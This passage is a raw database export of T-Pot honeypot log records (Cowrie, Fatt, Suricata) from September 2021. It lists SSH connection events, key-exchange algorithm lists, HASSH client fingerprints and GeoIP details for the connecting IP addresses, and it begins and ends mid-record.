"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21341	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.643482+03	2021-09-20 14:15:03.539613+03	{"_id": "iQbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d429027559e7", "@version": "1", "duration": 2.704822063446045, "timestamp": "2021-09-20T11:06:41.643482Z", "@timestamp": "2021-09-20T11:06:41.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
30953	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:29.964136+03	2021-09-20 14:45:03.849142+03	{"_id": "eQYBA3wBvYTbRNuE7EAO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 27881, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1091003082454568, "@version": "1", "in_iface": "enp5s0", "src_port": 37059, "dest_port": 53, "timestamp": "2021-09-20T11:40:29.964136Z", "@timestamp": "2021-09-20T11:40:29.964Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21342	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:41.704339+03	2021-09-20 14:15:03.540612+03	{"_id": "igbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7e0a483755f4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:41.704339Z", "@timestamp": "2021-09-20T11:06:41.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21343	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.761136+03	2021-09-20 14:15:03.541614+03	{"_id": "iwbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2512a17a07af", "@version": "1", "timestamp": "2021-09-20T11:06:41.761136Z", "@timestamp": "2021-09-20T11:06:41.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21344	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:41.984903+03	2021-09-20 14:15:03.543613+03	{"_id": "jAbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7e0a483755f4", "@version": "1", "timestamp": "2021-09-20T11:06:41.984903Z", "@timestamp": "2021-09-20T11:06:41.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21345	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.849607+03	2021-09-20 14:15:03.544612+03	{"_id": "ngbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39244 (192.168.176.2:22) [session: c29d67f115fa]", "session": "c29d67f115fa", "@version": "1", "protocol": "ssh", "src_port": 39244, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.849607Z", "@timestamp": "2021-09-20T11:06:42.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21346	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:41.803607+03	2021-09-20 14:15:03.545612+03	{"_id": "pAbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44890, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.803607", "@timestamp": "2021-09-20T11:06:41.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21349	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.787445+03	2021-09-20 14:15:03.549613+03	{"_id": "NwbjAnwBvYTbRNuEBgL3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57186 (192.168.176.2:22) [session: 214fca9416e8]", "session": "214fca9416e8", "@version": "1", "protocol": "ssh", "src_port": 57186, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.787445Z", "@timestamp": "2021-09-20T11:06:44.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21350	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:44.566059+03	2021-09-20 14:15:03.550614+03	{"_id": "FgbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33870, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.566059", "@timestamp": "2021-09-20T11:06:44.566Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21351	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:44.564149+03	2021-09-20 14:15:03.551642+03	{"_id": "LwbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": 